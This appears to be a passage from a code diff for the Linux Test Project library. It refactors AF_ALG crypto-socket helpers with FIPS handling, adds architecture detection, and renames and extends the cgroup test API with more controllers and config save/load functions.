+			"FIPS enabled => %s algorithm '%s' disabled",
+			addr->salg_type, addr->salg_name);
+	}
+
+	if (errno == ENOENT) {
 		tst_brk(TCONF, "kernel doesn't support %s algorithm '%s'",
 			addr->salg_type, addr->salg_name);
 	}
-	tst_brk(TBROK | TTERRNO,
+
+	tst_brk(TBROK | TERRNO,
 		"unexpected error binding AF_ALG socket to %s algorithm '%s'",
 		addr->salg_type, addr->salg_name);
 }
@@ -61,28 +73,54 @@
 	tst_alg_bind_addr(algfd, &addr);
 }
 
-bool tst_have_alg(const char *algtype, const char *algname)
+int tst_try_alg(const char *algtype, const char *algname)
 {
+	long ret;
+	int retval = 0;
 	int algfd;
 	struct sockaddr_alg addr;
-	bool have_alg = true;
 
 	algfd = tst_alg_create();
 
 	init_sockaddr_alg(&addr, algtype, algname);
 
-	TEST(bind(algfd, (const struct sockaddr *)&addr, sizeof(addr)));
-	if (TST_RET != 0) {
-		if (TST_ERR != ENOENT) {
-			tst_brk(TBROK | TTERRNO,
-				"unexpected error binding AF_ALG socket to %s algorithm '%s'",
-				algtype, algname);
-		}
-		have_alg = false;
-	}
+	ret = bind(algfd, (const struct sockaddr *)&addr, sizeof(addr));
+
+	if (ret != 0)
+		retval = errno;
 
 	close(algfd);
-	return have_alg;
+	return retval;
+}
+
+bool tst_have_alg(const char *algtype, const char *algname)
+{
+	int ret;
+
+	ret = tst_try_alg(algtype, algname);
+
+	switch (ret) {
+	case 0:
+		return true;
+	case ENOENT:
+		tst_res(TCONF, "kernel doesn't have %s algorithm '%s'",
+			algtype, algname);
+		return false;
+	case ELIBBAD:
+		if (tst_fips_enabled()) {
+			tst_res(TCONF,
+				"FIPS enabled => %s algorithm '%s' disabled",
+				algtype, algname);
+			return false;
+		}
+	/* fallthrough */
+	default:
+		errno = ret;
+		tst_brk(TBROK | TERRNO,
+			"unexpected error binding AF_ALG socket to %s algorithm '%s'",
+			algtype, algname);
+		return false;
+	}
 }
 
 void tst_require_alg(const char *algtype, const char *algname)
@@ -96,6 +134,7 @@
 
 void tst_alg_setkey(int algfd, const uint8_t *key, unsigned int keylen)
 {
+	long ret;
 	uint8_t *keybuf = NULL;
 	unsigned int i;
 
@@ -106,9 +145,9 @@
 			keybuf[i] = rand();
 		key = keybuf;
 	}
-	TEST(setsockopt(algfd, SOL_ALG, ALG_SET_KEY, key, keylen));
-	if (TST_RET != 0) {
-		tst_brk(TBROK | TTERRNO,
+	ret = setsockopt(algfd, SOL_ALG, ALG_SET_KEY, key, keylen);
+	if (ret != 0) {
+		tst_brk(TBROK | TERRNO,
 			"unexpected error setting key (len=%u)", keylen);
 	}
 	free(keybuf);
@@ -116,12 +155,13 @@
 
 int tst_alg_accept(int algfd)
 {
-	TEST(accept(algfd, NULL, NULL));
-	if (TST_RET < 0) {
-		tst_brk(TBROK | TTERRNO,
+	const long ret = accept(algfd, NULL, NULL);
+
+	if (ret < 0) {
+		tst_brk(TBROK | TERRNO,
 			"unexpected error accept()ing AF_ALG request socket");
 	}
-	return TST_RET;
+	return ret;
 }
 
 int tst_alg_setup(const char *algtype, const char *algname,
diff --git a/lib/tst_arch.c b/lib/tst_arch.c
new file mode 100644
index 0000000..acae1c3
--- /dev/null
+++ b/lib/tst_arch.c
@@ -0,0 +1,94 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later
+ * Copyright (c) 2021 Li Wang <liwang@redhat.com>
+ */
+
+#include <string.h>
+#include <stdlib.h>
+
+#define TST_NO_DEFAULT_MAIN
+#include "tst_arch.h"
+#include "tst_test.h"
+
+const struct tst_arch tst_arch = {
+#if defined(__x86_64__)
+        .name = "x86_64",
+        .type = TST_X86_64,
+#elif defined(__i386__) || defined(__i586__) || defined(__i686__)
+        .name = "x86",
+        .type = TST_X86,
+#elif defined(__ia64__)
+        .name = "ia64",
+        .type = TST_IA64,
+#elif defined(__powerpc64__) || defined(__ppc64__)
+        .name = "ppc64",
+        .type = TST_PPC64,
+#elif defined(__powerpc__) || defined(__ppc__)
+        .name = "ppc",
+        .type = TST_PPC,
+#elif defined(__s390x__)
+        .name = "s390x",
+        .type = TST_S390X,
+#elif defined(__s390__)
+        .name = "s390",
+        .type = TST_S390,
+#elif defined(__aarch64__)
+        .name = "aarch64",
+        .type = TST_AARCH64,
+#elif defined(__arm__)
+        .name = "arm",
+        .type = TST_ARM,
+#elif defined(__sparc__)
+        .name = "sparc",
+        .type = TST_SPARC,
+#else
+        .name = "unknown",
+        .type = TST_UNKNOWN,
+#endif
+};
+
+static const char *const arch_type_list[] = {
+	"x86",
+	"x86_64",
+	"ia64",
+	"ppc",
+	"ppc64",
+	"s390",
+	"s390x",
+	"arm",
+	"aarch64",
+	"sparc",
+	NULL
+};
+
+static int is_valid_arch_name(const char *name)
+{
+	unsigned int i;
+
+	for (i = 0; arch_type_list[i]; i++) {
+		if (!strcmp(arch_type_list[i], name))
+			return 1;
+	}
+
+	return 0;
+}
+
+int tst_is_on_arch(const char *const *archlist)
+{
+	unsigned int i;
+
+	if (!archlist)
+		return 1;
+
+	for (i = 0; archlist[i]; i++) {
+		if (!is_valid_arch_name(archlist[i]))
+			tst_brk(TBROK, "%s is invalid arch, please reset!",
+					archlist[i]);
+	}
+
+	for (i = 0; archlist[i]; i++) {
+		if (!strcmp(tst_arch.name, archlist[i]))
+			return 1;
+	}
+
+	return 0;
+}
diff --git a/lib/tst_bool_expr.c b/lib/tst_bool_expr.c
index 387c38b..15825e3 100644
--- a/lib/tst_bool_expr.c
+++ b/lib/tst_bool_expr.c
@@ -55,6 +55,7 @@
 	(*last)->tok = tok;
 	(*last)->tok_len = tok_len;
 	(*last)->op = char_to_op(tok[0]);
+	(*last)->priv = NULL;
 	(*last)++;
 
 	return 1;
diff --git a/lib/tst_cgroup.c b/lib/tst_cgroup.c
index 1e036d3..6642d6b 100644
--- a/lib/tst_cgroup.c
+++ b/lib/tst_cgroup.c
@@ -11,14 +11,12 @@
 #include <stddef.h>
 #include <stdlib.h>
 #include <mntent.h>
-#include <sys/mount.h>
 
 #include "tst_test.h"
 #include "lapi/fcntl.h"
 #include "lapi/mount.h"
 #include "lapi/mkdirat.h"
 #include "tst_safe_file_at.h"
-#include "tst_cgroup.h"
 
 struct cgroup_root;
 
@@ -52,7 +50,7 @@
 
 /* The root of a CGroup hierarchy/tree */
 struct cgroup_root {
-	enum tst_cgroup_ver ver;
+	enum tst_cg_ver ver;
 	/* A mount path */
 	char mnt_path[PATH_MAX];
 	/* Subsystems (controllers) bit field. Includes all
@@ -82,9 +80,23 @@
 /* Controller sub-systems */
 enum cgroup_ctrl_indx {
 	CTRL_MEMORY = 1,
-	CTRL_CPUSET = 2,
+	CTRL_CPU,
+	CTRL_CPUSET,
+	CTRL_IO,
+	CTRL_PIDS,
+	CTRL_HUGETLB,
+	CTRL_CPUACCT,
+	CTRL_DEVICES,
+	CTRL_FREEZER,
+	CTRL_NETCLS,
+	CTRL_NETPRIO,
+	CTRL_BLKIO,
+	CTRL_MISC,
+	CTRL_PERFEVENT,
+	CTRL_DEBUG,
+	CTRL_RDMA
 };
-#define CTRLS_MAX CTRL_CPUSET
+#define CTRLS_MAX CTRL_RDMA
 
 /* At most we can have one cgroup V1 tree for each controller and one
  * (empty) v2 tree.
@@ -127,7 +139,7 @@
 	int we_require_it:1;
 };
 
-struct tst_cgroup_group {
+struct tst_cg_group {
 	char group_name[NAME_MAX + 1];
 	/* Maps controller ID to the tree which contains it. The V2
 	 * tree is at zero even if it contains no controllers.
@@ -137,23 +149,33 @@
 	struct cgroup_dir *dirs[ROOTS_MAX + 1];
 };
 
+/* If controllers are required via the tst_test struct then this is
+ * populated with the test's CGroup.
+ */
+static struct tst_cg_group test_group;
+static struct tst_cg_group drain_group;
+const struct tst_cg_group *const tst_cg = &test_group;
+const struct tst_cg_group *const tst_cg_drain = &drain_group;
+
 /* Always use first item for unified hierarchy */
 static struct cgroup_root roots[ROOTS_MAX + 1];
 
-/* Lookup tree for item names. */
-typedef struct cgroup_file files_t[];
-
-static const files_t cgroup_ctrl_files = {
+static const struct cgroup_file cgroup_ctrl_files[] = {
 	/* procs exists on V1, however it was read-only until kernel v3.0. */
 	{ "cgroup.procs", "tasks", 0 },
+	{ "cgroup.controllers", NULL, 0 },
 	{ "cgroup.subtree_control", NULL, 0 },
 	{ "cgroup.clone_children", "cgroup.clone_children", 0 },
 	{ }
 };
 
-static const files_t memory_ctrl_files = {
+static const struct cgroup_file memory_ctrl_files[] = {
 	{ "memory.current", "memory.usage_in_bytes", CTRL_MEMORY },
+	{ "memory.events", NULL, CTRL_MEMORY },
+	{ "memory.low", NULL, CTRL_MEMORY },
+	{ "memory.min", NULL, CTRL_MEMORY },
 	{ "memory.max", "memory.limit_in_bytes", CTRL_MEMORY },
+	{ "memory.stat", "memory.stat", CTRL_MEMORY },
 	{ "memory.swappiness", "memory.swappiness", CTRL_MEMORY },
 	{ "memory.swap.current", "memory.memsw.usage_in_bytes", CTRL_MEMORY },
 	{ "memory.swap.max", "memory.memsw.limit_in_bytes", CTRL_MEMORY },
@@ -162,33 +184,114 @@
 	{ }
 };
 
-static const files_t cpuset_ctrl_files = {
+static const struct cgroup_file cpu_ctrl_files[] = {
+	/* The V1 quota and period files were combined in the V2 max
+	 * file. The quota is in the first column and if we just print
+	 * a single value to the file, it will be treated as the
+	 * quota. To get or set the period we need to branch on the
+	 * API version.
+	 */
+	{ "cpu.max", "cpu.cfs_quota_us", CTRL_CPU },
+	{ "cpu.cfs_period_us", "cpu.cfs_period_us", CTRL_CPU },
+	{ }
+};
+
+static const struct cgroup_file cpuset_ctrl_files[] = {
 	{ "cpuset.cpus", "cpuset.cpus", CTRL_CPUSET },
 	{ "cpuset.mems", "cpuset.mems", CTRL_CPUSET },
 	{ "cpuset.memory_migrate", "cpuset.memory_migrate", CTRL_CPUSET },
 	{ }
 };
 
-static struct cgroup_ctrl controllers[] = {
-	[0] = { "cgroup", cgroup_ctrl_files, 0, NULL, 0 },
-	[CTRL_MEMORY] = {
-		"memory", memory_ctrl_files, CTRL_MEMORY, NULL, 0
-	},
-	[CTRL_CPUSET] = {
-		"cpuset", cpuset_ctrl_files, CTRL_CPUSET, NULL, 0
-	},
+static const struct cgroup_file io_ctrl_files[] = {
+	{ "io.stat", NULL, CTRL_IO },
 	{ }
 };
 
-static const struct tst_cgroup_opts default_opts = { 0 };
+static const struct cgroup_file pids_ctrl_files[] = {
+	{ "pids.max", "pids.max", CTRL_PIDS },
+	{ "pids.current", "pids.current", CTRL_PIDS },
+	{ }
+};
+
+static const struct cgroup_file hugetlb_ctrl_files[] = {
+	{ }
+};
+
+static const struct cgroup_file cpuacct_ctrl_files[] = {
+	{ }
+};
+
+static const struct cgroup_file devices_ctrl_files[] = {
+	{ }
+};
+
+static const struct cgroup_file freezer_ctrl_files[] = {
+	{ }
+};
+
+static const struct cgroup_file net_cls_ctrl_files[] = {
+	{ }
+};
+
+static const struct cgroup_file net_prio_ctrl_files[] = {
+	{ }
+};
+
+static const struct cgroup_file blkio_ctrl_files[] = {
+	{ }
+};
+
+static const struct cgroup_file misc_ctrl_files[] = {
+	{ }
+};
+
+static const struct cgroup_file perf_event_ctrl_files[] = {
+	{ }
+};
+
+static const struct cgroup_file debug_ctrl_files[] = {
+	{ }
+};
+
+static const struct cgroup_file rdma_ctrl_files[] = {
+	{ }
+};
+
+#define CTRL_NAME_MAX 31
+#define CGROUP_CTRL_MEMBER(x, y)[y] = { .ctrl_name = #x, .files = \
+	x ## _ctrl_files, .ctrl_indx = y, NULL, 0 }
+
+/* Lookup tree for item names. */
+static struct cgroup_ctrl controllers[] = {
+	CGROUP_CTRL_MEMBER(cgroup, 0),
+	CGROUP_CTRL_MEMBER(memory, CTRL_MEMORY),
+	CGROUP_CTRL_MEMBER(cpu, CTRL_CPU),
+	CGROUP_CTRL_MEMBER(cpuset, CTRL_CPUSET),
+	CGROUP_CTRL_MEMBER(io, CTRL_IO),
+	CGROUP_CTRL_MEMBER(pids, CTRL_PIDS),
+	CGROUP_CTRL_MEMBER(hugetlb, CTRL_HUGETLB),
+	CGROUP_CTRL_MEMBER(cpuacct, CTRL_CPUACCT),
+	CGROUP_CTRL_MEMBER(devices, CTRL_DEVICES),
+	CGROUP_CTRL_MEMBER(freezer, CTRL_FREEZER),
+	CGROUP_CTRL_MEMBER(net_cls, CTRL_NETCLS),
+	CGROUP_CTRL_MEMBER(net_prio, CTRL_NETPRIO),
+	CGROUP_CTRL_MEMBER(blkio, CTRL_BLKIO),
+	CGROUP_CTRL_MEMBER(misc, CTRL_MISC),
+	CGROUP_CTRL_MEMBER(perf_event, CTRL_PERFEVENT),
+	CGROUP_CTRL_MEMBER(debug, CTRL_DEBUG),
+	CGROUP_CTRL_MEMBER(rdma, CTRL_RDMA),
+	{ }
+};
 
 /* We should probably allow these to be set in environment
- * variables */
-static const char *ltp_cgroup_dir = "ltp";
-static const char *ltp_cgroup_drain_dir = "drain";
-static char test_cgroup_dir[NAME_MAX + 1];
-static const char *ltp_mount_prefix = "/tmp/cgroup_";
-static const char *ltp_v2_mount = "unified";
+ * variables
+ */
+static const char *cgroup_ltp_dir = "ltp";
+static const char *cgroup_ltp_drain_dir = "drain";
+static char cgroup_test_dir[NAME_MAX + 1];
+static const char *cgroup_mount_ltp_prefix = "cgroup_";
+static const char *cgroup_v2_ltp_mount = "unified";
 
 #define first_root				\
 	(roots[0].ver ? roots : roots + 1)
@@ -197,7 +300,7 @@
 #define for_each_v1_root(r)			\
 	for ((r) = roots + 1; (r)->ver; (r)++)
 #define for_each_ctrl(ctrl)			\
-	for ((ctrl) = controllers + 1; (ctrl)->ctrl_name; (ctrl)++)
+	for ((ctrl) = controllers; (ctrl)->ctrl_name; (ctrl)++)
 
 /* In all cases except one, this only loops once.
  *
@@ -225,12 +328,6 @@
 	*ctrl_field |= 1 << ctrl->ctrl_indx;
 }
 
-__attribute__ ((warn_unused_result))
-struct cgroup_root *tst_cgroup_root_get(void)
-{
-	return roots[0].ver ? roots : roots + 1;
-}
-
 static int cgroup_v2_mounted(void)
 {
 	return !!roots[0].ver;
@@ -249,7 +346,7 @@
 __attribute__ ((nonnull, warn_unused_result))
 static int cgroup_ctrl_on_v2(const struct cgroup_ctrl *const ctrl)
 {
-	return ctrl->ctrl_root && ctrl->ctrl_root->ver == TST_CGROUP_V2;
+	return ctrl->ctrl_root && ctrl->ctrl_root->ver == TST_CG_V2;
 }
 
 __attribute__ ((nonnull))
@@ -290,39 +387,132 @@
 				  O_PATH | O_DIRECTORY);
 }
 
-void tst_cgroup_print_config(void)
+#define PATH_MAX_STRLEN 4095
+#define CONFIG_HEADER "ctrl_name ver we_require_it mnt_path we_mounted_it ltp_dir.we_created_it test_dir.dir_name"
+#define CONFIG_FORMAT "%" TST_TO_STR(CTRL_NAME_MAX) "s\t%d\t%d\t%" TST_TO_STR(PATH_MAX_STRLEN) "s\t%d\t%d\t%" TST_TO_STR(NAME_MAX) "s"
+/* Prints out the state associated with each controller to be consumed by
+ * tst_cg_load_config.
+ *
+ * The config keeps track of the minimal state needed for tst_cg_cleanup
+ * to cleanup mounts and directories made by tst_cg_require.
+ */
+void tst_cg_print_config(void)
 {
-	struct cgroup_root *root;
 	const struct cgroup_ctrl *ctrl;
 
-	tst_res(TINFO, "Detected Controllers:");
+	printf("%s\n", CONFIG_HEADER);
 
 	for_each_ctrl(ctrl) {
-		root = ctrl->ctrl_root;
+		struct cgroup_root *root = ctrl->ctrl_root;
 
 		if (!root)
 			continue;
 
-		tst_res(TINFO, "\t%.10s %s @ %s:%s",
+		printf("%s\t%d\t%d\t%s\t%d\t%d\t%s\n",
 			ctrl->ctrl_name,
-			root->no_cpuset_prefix ? "[noprefix]" : "",
-			root->ver == TST_CGROUP_V1 ? "V1" : "V2",
-			root->mnt_path);
+			root->ver,
+			ctrl->we_require_it,
+			root->mnt_path,
+			root->we_mounted_it,
+			root->ltp_dir.we_created_it,
+			root->test_dir.dir_name ? root->test_dir.dir_name : "NULL");
 	}
 }
 
 __attribute__ ((nonnull, warn_unused_result))
 static struct cgroup_ctrl *cgroup_find_ctrl(const char *const ctrl_name)
 {
-	struct cgroup_ctrl *ctrl = controllers;
+	struct cgroup_ctrl *ctrl;
 
-	while (ctrl->ctrl_name && strcmp(ctrl_name, ctrl->ctrl_name))
-		ctrl++;
+	for_each_ctrl(ctrl) {
+		if (!strcmp(ctrl_name, ctrl->ctrl_name))
+			return ctrl;
+	}
 
-	if (!ctrl->ctrl_name)
-		ctrl = NULL;
+	return NULL;
+}
 
-	return ctrl;
+static struct cgroup_root *cgroup_find_root(const char *const mnt_path)
+{
+	struct cgroup_root *root;
+
+	for_each_root(root) {
+		if (!strcmp(root->mnt_path, mnt_path))
+			return root;
+	}
+
+	return NULL;
+}
+
+static void cgroup_parse_config_line(const char *const config_entry)
+{
+	char ctrl_name[CTRL_NAME_MAX + 1], mnt_path[PATH_MAX_STRLEN + 1], test_dir_name[NAME_MAX + 1];
+	int ver, we_require_it, we_mounted_it, ltp_dir_we_created_it, vars_read;
+	struct cgroup_root *root;
+	struct cgroup_ctrl *ctrl;
+
+	vars_read = sscanf(config_entry, CONFIG_FORMAT,
+		ctrl_name, &ver, &we_require_it, mnt_path, &we_mounted_it,
+		&ltp_dir_we_created_it, test_dir_name);
+
+	if (vars_read != 7)
+		tst_brk(TBROK, "Incorrect number of vars read from config. Config possibly malformed?");
+
+	ctrl = cgroup_find_ctrl(ctrl_name);
+	if (!ctrl)
+		tst_brk(TBROK, "Could not find ctrl from config. Ctrls changing between calls?");
+
+	ctrl->we_require_it = we_require_it;
+
+	root = cgroup_find_root(mnt_path);
+	if (!root)
+		tst_brk(TBROK, "Could not find root from config. Config possibly malformed?");
+
+	if (we_mounted_it)
+		root->we_mounted_it = 1;
+
+	if (!root->ltp_dir.dir_name) {
+		cgroup_dir_mk(&root->mnt_dir, cgroup_ltp_dir, &root->ltp_dir);
+		cgroup_dir_mk(&root->ltp_dir, cgroup_ltp_drain_dir, &root->drain_dir);
+		if (ltp_dir_we_created_it) {
+			root->ltp_dir.we_created_it = 1;
+			root->drain_dir.we_created_it = 1;
+		}
+	}
+
+	if (!root->test_dir.dir_name && strcmp(test_dir_name, "NULL")) {
+		strncpy(cgroup_test_dir, test_dir_name, NAME_MAX + 1);
+		cgroup_dir_mk(&root->ltp_dir, cgroup_test_dir, &root->test_dir);
+		root->test_dir.we_created_it = 1;
+	}
+}
+
+/* Load the test state config provided by tst_cg_print_config
+ *
+ * This will reload some internal tst_cgroup state given by the config
+ * that might otherwise have been lost between calls or between different
+ * processes. In particular this is used by testcases/lib/tst_cgctl to
+ * provide access to this C api to shell scripts.
+ *
+ * The config keeps track of the minimal state needed for tst_cg_cleanup
+ * to cleanup mounts and directories created by tst_cg_require.
+ */
+void tst_cg_load_config(const char *const config)
+{
+	char temp_config[BUFSIZ];
+	char *line;
+	const size_t config_len = strlen(config) + 1;
+
+	if (config_len >= BUFSIZ)
+		tst_brk(TBROK, "Config has exceeded buffer size?");
+
+	memcpy(temp_config, config, config_len);
+	temp_config[config_len] = '\0';
+
+	line = strtok(temp_config, "\n");
+	/* Make sure to consume the header. */
+	for (line = strtok(NULL, "\n"); line; line = strtok(NULL, "\n"))
+		cgroup_parse_config_line(line);
 }
 
 /* Determine if a mounted cgroup hierarchy is unique and record it if so.
@@ -361,7 +551,8 @@
 	SAFE_FILE_READAT(mnt_dfd, "cgroup.controllers", buf, sizeof(buf));
 
 	for (tok = strtok(buf, " "); tok; tok = strtok(NULL, " ")) {
-		if ((const_ctrl = cgroup_find_ctrl(tok)))
+		const_ctrl = cgroup_find_ctrl(tok);
+		if (const_ctrl)
 			add_ctrl(&ctrl_field, const_ctrl);
 	}
 
@@ -371,13 +562,14 @@
 	if (root->ctrl_field)
 		tst_brk(TBROK, "Available V2 controllers are changing between scans?");
 
-	root->ver = TST_CGROUP_V2;
+	root->ver = TST_CG_V2;
 
 	goto backref;
 
 v1:
 	for (tok = strtok(mnt_opts, ","); tok; tok = strtok(NULL, ",")) {
-		if ((const_ctrl = cgroup_find_ctrl(tok)))
+		const_ctrl = cgroup_find_ctrl(tok);
+		if (const_ctrl)
 			add_ctrl(&ctrl_field, const_ctrl);
 
 		no_prefix |= !strcmp("noprefix", tok);
@@ -394,7 +586,7 @@
 			goto discard;
 
 		tst_brk(TBROK,
-			"The intersection of two distinct sets of mounted controllers should be null?"
+			"The intersection of two distinct sets of mounted controllers should be null? "
 			"Check '%s' and '%s'", root->mnt_path, mnt_dir);
 	}
 
@@ -404,7 +596,7 @@
 			ROOTS_MAX);
 	}
 
-	root->ver = TST_CGROUP_V1;
+	root->ver = TST_CG_V1;
 
 backref:
 	strcpy(root->mnt_path, mnt_dir);
@@ -425,7 +617,7 @@
 	close(mnt_dfd);
 }
 
-void tst_cgroup_scan(void)
+void tst_cg_scan(void)
 {
 	struct mntent *mnt;
 	FILE *f = setmntent("/proc/self/mounts", "r");
@@ -451,9 +643,15 @@
 
 static void cgroup_mount_v2(void)
 {
+	int ret;
 	char mnt_path[PATH_MAX];
+	const char *tmpdir = getenv("TMPDIR");
 
-	sprintf(mnt_path, "%s%s", ltp_mount_prefix, ltp_v2_mount);
+	if (!tmpdir)
+		tmpdir = "/tmp";
+
+	sprintf(mnt_path, "%s/%s%s",
+		tmpdir, cgroup_mount_ltp_prefix, cgroup_v2_ltp_mount);
 
 	if (!mkdir(mnt_path, 0777)) {
 		roots[0].mnt_dir.we_created_it = 1;
@@ -474,9 +672,15 @@
 	return;
 
 mount:
-	if (!mount("cgroup2", mnt_path, "cgroup2", 0, NULL)) {
+	ret = mount("cgroup2", mnt_path, "cgroup2",
+		    0, "memory_recursiveprot");
+
+	if (ret && errno == EINVAL)
+		ret = mount("cgroup2", mnt_path, "cgroup2", 0, NULL);
+
+	if (!ret) {
 		tst_res(TINFO, "Mounted V2 CGroups on %s", mnt_path);
-		tst_cgroup_scan();
+		tst_cg_scan();
 		roots[0].we_mounted_it = 1;
 		return;
 	}
@@ -494,8 +698,19 @@
 {
 	char mnt_path[PATH_MAX];
 	int made_dir = 0;
+	const char *tmpdir = getenv("TMPDIR");
 
-	sprintf(mnt_path, "%s%s", ltp_mount_prefix, ctrl->ctrl_name);
+	if (!tmpdir)
+		tmpdir = "/tmp";
+
+	if (ctrl->ctrl_indx == CTRL_BLKIO && controllers[CTRL_IO].ctrl_root) {
+		tst_res(TCONF,
+			"IO controller found on V2 root, skipping blkio mount that would unmount IO controller");
+		return;
+	}
+
+	sprintf(mnt_path, "%s/%s%s",
+		tmpdir, cgroup_mount_ltp_prefix, ctrl->ctrl_name);
 
 	if (!mkdir(mnt_path, 0777)) {
 		made_dir = 1;
@@ -526,7 +741,7 @@
 	}
 
 	tst_res(TINFO, "Mounted V1 %s CGroup on %s", ctrl->ctrl_name, mnt_path);
-	tst_cgroup_scan();
+	tst_cg_scan();
 	if (!ctrl->ctrl_root)
 		return;
 
@@ -582,37 +797,40 @@
  * cpuset.
  *
  */
-void tst_cgroup_require(const char *const ctrl_name,
-			const struct tst_cgroup_opts *options)
+void tst_cg_require(const char *const ctrl_name,
+			const struct tst_cg_opts *options)
 {
 	const char *const cgsc = "cgroup.subtree_control";
 	struct cgroup_ctrl *const ctrl = cgroup_find_ctrl(ctrl_name);
 	struct cgroup_root *root;
 
-	if (!options)
-		options = &default_opts;
-
-	if (ctrl->we_require_it) {
-		tst_res(TWARN, "Duplicate tst_cgroup_require(%s, )",
-			ctrl->ctrl_name);
+	if (!ctrl) {
+		tst_brk(TBROK, "'%s' controller is unknown to LTP", ctrl_name);
+		tst_brk(TBROK, "Calling %s in cleanup?", __func__);
+		return;
 	}
+
+	if (ctrl->we_require_it)
+		tst_res(TWARN, "Duplicate %s(%s, )", __func__, ctrl->ctrl_name);
+
 	ctrl->we_require_it = 1;
 
 	if (ctrl->ctrl_root)
 		goto mkdirs;
 
-	tst_cgroup_scan();
+	tst_cg_scan();
 
 	if (ctrl->ctrl_root)
 		goto mkdirs;
 
-	if (!cgroup_v2_mounted() && !options->only_mount_v1)
+	if (!cgroup_v2_mounted() && options->needs_ver != TST_CG_V1)
 		cgroup_mount_v2();
 
 	if (ctrl->ctrl_root)
 		goto mkdirs;
 
-	cgroup_mount_v1(ctrl);
+	if (options->needs_ver != TST_CG_V2)
+		cgroup_mount_v1(ctrl);
 
 	if (!ctrl->ctrl_root) {
 		tst_brk(TCONF,
@@ -625,6 +843,17 @@
 	root = ctrl->ctrl_root;
 	add_ctrl(&root->mnt_dir.ctrl_field, ctrl);
 
+	if (cgroup_ctrl_on_v2(ctrl) && options->needs_ver == TST_CG_V1) {
+		tst_brk(TCONF,
+			"V1 '%s' controller required, but it's mounted on V2",
+			ctrl->ctrl_name);
+	}
+	if (!cgroup_ctrl_on_v2(ctrl) && options->needs_ver == TST_CG_V2) {
+		tst_brk(TCONF,
+			"V2 '%s' controller required, but it's mounted on V1",
+			ctrl->ctrl_name);
+	}
+
 	if (cgroup_ctrl_on_v2(ctrl)) {
 		if (root->we_mounted_it) {
 			SAFE_FILE_PRINTFAT(root->mnt_dir.dir_fd,
@@ -636,7 +865,7 @@
 	}
 
 	if (!root->ltp_dir.dir_fd)
-		cgroup_dir_mk(&root->mnt_dir, ltp_cgroup_dir, &root->ltp_dir);
+		cgroup_dir_mk(&root->mnt_dir, cgroup_ltp_dir, &root->ltp_dir);
 	else
 		root->ltp_dir.ctrl_field |= root->mnt_dir.ctrl_field;
 
@@ -651,19 +880,23 @@
 			cgroup_copy_cpuset(root);
 	}
 
-	cgroup_dir_mk(&root->ltp_dir, ltp_cgroup_drain_dir, &root->drain_dir);
+	cgroup_dir_mk(&root->ltp_dir, cgroup_ltp_drain_dir, &root->drain_dir);
 
-	sprintf(test_cgroup_dir, "test-%d", getpid());
-	cgroup_dir_mk(&root->ltp_dir, test_cgroup_dir, &root->test_dir);
+	if (options->test_pid)
+		sprintf(cgroup_test_dir, "test-%d", options->test_pid);
+	else
+		sprintf(cgroup_test_dir, "test-%d", getpid());
+
+	cgroup_dir_mk(&root->ltp_dir, cgroup_test_dir, &root->test_dir);
 }
 
-static void cgroup_drain(const enum tst_cgroup_ver ver,
+static void cgroup_drain(const enum tst_cg_ver ver,
 			 const int source_dfd, const int dest_dfd)
 {
 	char pid_list[BUFSIZ];
 	char *tok;
 	const char *const file_name =
-		ver == TST_CGROUP_V1 ? "tasks" : "cgroup.procs";
+		ver == TST_CG_V1 ? "tasks" : "cgroup.procs";
 	int fd;
 	ssize_t ret;
 
@@ -732,7 +965,7 @@
  * Finally we clear any data we have collected on CGroups. This will
  * happen regardless of whether anything was removed.
  */
-void tst_cgroup_cleanup(void)
+void tst_cg_cleanup(void)
 {
 	struct cgroup_root *root;
 	struct cgroup_ctrl *ctrl;
@@ -782,7 +1015,8 @@
 			continue;
 
 		/* This probably does not result in the CGroup root
-		 * being destroyed */
+		 * being destroyed
+		 */
 		if (umount2(root->mnt_path, MNT_DETACH))
 			continue;
 
@@ -801,61 +1035,71 @@
 	memset(roots, 0, sizeof(roots));
 }
 
-__attribute__ ((nonnull (1)))
-static void cgroup_group_init(struct tst_cgroup_group *const cg,
-			      const char *const group_name)
-{
-	memset(cg, 0, sizeof(*cg));
-
-	if (!group_name)
-		return;
-
-	if (strlen(group_name) > NAME_MAX)
-		tst_brk(TBROK, "Group name is too long");
-
-	strcpy(cg->group_name, group_name);
-}
-
-__attribute__ ((nonnull))
-static void cgroup_group_add_dir(struct tst_cgroup_group *const cg,
+__attribute__((nonnull(2, 3)))
+static void cgroup_group_add_dir(const struct tst_cg_group *const parent,
+				 struct tst_cg_group *const cg,
 				 struct cgroup_dir *const dir)
 {
 	const struct cgroup_ctrl *ctrl;
 	int i;
 
-	if (dir->dir_root->ver == TST_CGROUP_V2)
+	if (dir->dir_root->ver != TST_CG_V1)
 		cg->dirs_by_ctrl[0] = dir;
 
 	for_each_ctrl(ctrl) {
-		if (has_ctrl(dir->ctrl_field, ctrl))
-			cg->dirs_by_ctrl[ctrl->ctrl_indx] = dir;
+		if (!has_ctrl(dir->ctrl_field, ctrl))
+			continue;
+
+		cg->dirs_by_ctrl[ctrl->ctrl_indx] = dir;
+
+		if (!parent || dir->dir_root->ver == TST_CG_V1)
+			continue;
+
+		SAFE_CG_PRINTF(parent, "cgroup.subtree_control",
+				   "+%s", ctrl->ctrl_name);
 	}
 
-	for (i = 0; cg->dirs[i]; i++);
+	for (i = 0; cg->dirs[i]; i++)
+		;
 	cg->dirs[i] = dir;
 }
 
-struct tst_cgroup_group *
-tst_cgroup_group_mk(const struct tst_cgroup_group *const parent,
-		    const char *const group_name)
+struct tst_cg_group *
+tst_cg_group_mk(const struct tst_cg_group *const parent,
+		    const char *const group_name_fmt, ...)
 {
-	struct tst_cgroup_group *cg;
+	struct tst_cg_group *cg;
 	struct cgroup_dir *const *dir;
 	struct cgroup_dir *new_dir;
+	va_list ap;
+	size_t name_len;
 
 	cg = SAFE_MALLOC(sizeof(*cg));
-	cgroup_group_init(cg, group_name);
+	memset(cg, 0, sizeof(*cg));
+
+	va_start(ap, group_name_fmt);
+	name_len = vsnprintf(cg->group_name, NAME_MAX,
+			     group_name_fmt, ap);
+	va_end(ap);
+
+	if (name_len >= NAME_MAX)
+		tst_brk(TBROK, "CGroup name is too long");
 
 	for_each_dir(parent, 0, dir) {
 		new_dir = SAFE_MALLOC(sizeof(*new_dir));
-		cgroup_dir_mk(*dir, group_name, new_dir);
-		cgroup_group_add_dir(cg, new_dir);
+		cgroup_dir_mk(*dir, cg->group_name, new_dir);
+		cgroup_group_add_dir(parent, cg, new_dir);
 	}
 
 	return cg;
 }
 
